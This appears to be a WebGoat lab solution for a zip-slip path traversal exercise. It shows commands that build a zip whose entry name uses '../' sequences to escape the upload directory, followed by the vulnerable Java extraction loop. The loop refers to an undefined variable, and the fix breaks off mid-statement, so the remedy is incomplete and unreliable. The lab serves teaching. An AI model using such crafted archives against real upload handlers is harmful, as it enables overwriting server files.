=== Solution

First let's create a zip file with an image inside:

[source]
----
curl -o cat.jpg http://localhost:8080/WebGoat/images/cats/1.jpg
zip profile.zip cat.jpg
----

Now let's upload this as our profile image, we can see nothing happens as mentioned in the assignment there is a bug in the software, and the result we see on the screen is:

[source]
----
Zip file extracted successfully, failed to copy image. Please contact our helpdesk.
----

Let's create a zip file which traverses all the way to the top and then back into the given directory in the assignment.

First create the directory structure:

[source, subs="macros"]
----
mkdir -p webGoatTempDir:temppath[]PathTraversal/username:user[]
cd webGoatTempDir:temppath[]PathTraversal/username:user[]
curl -o username:user[] http://localhost:8080/WebGoat/images/cats/1.jpg
zip profile.zip ../../../../../../../..webGoatTempDir:temppath[]PathTraversal/username:user[]/username:user[].jpg
----

Now if we upload this zip file, the assignment will be solved.

=== Why did this work?

In the code the developers used the following fragment:

[source%linenums]
----
ZipFile zip = new ZipFile(uploadedZipFile);
Enumeration<? extends ZipEntry> entries = zip.entries();
while (entries.hasMoreElements()) {
  ZipEntry e = entries.nextElement();
  File profilePicture = new File(uploadDirectory, e.getName());
  InputStream is = zip.getInputStream(e);
  Files.copy(is, f.toPath(), StandardCopyOption.REPLACE_EXISTING);
}
----

The fix is to make sure the resulting file in line 5 resides in the directory you expect. You can use the following method in Java:

[source]
----
File profilePicture = new File(uploadDirectory, e.getName());
if (profilePicture.

----

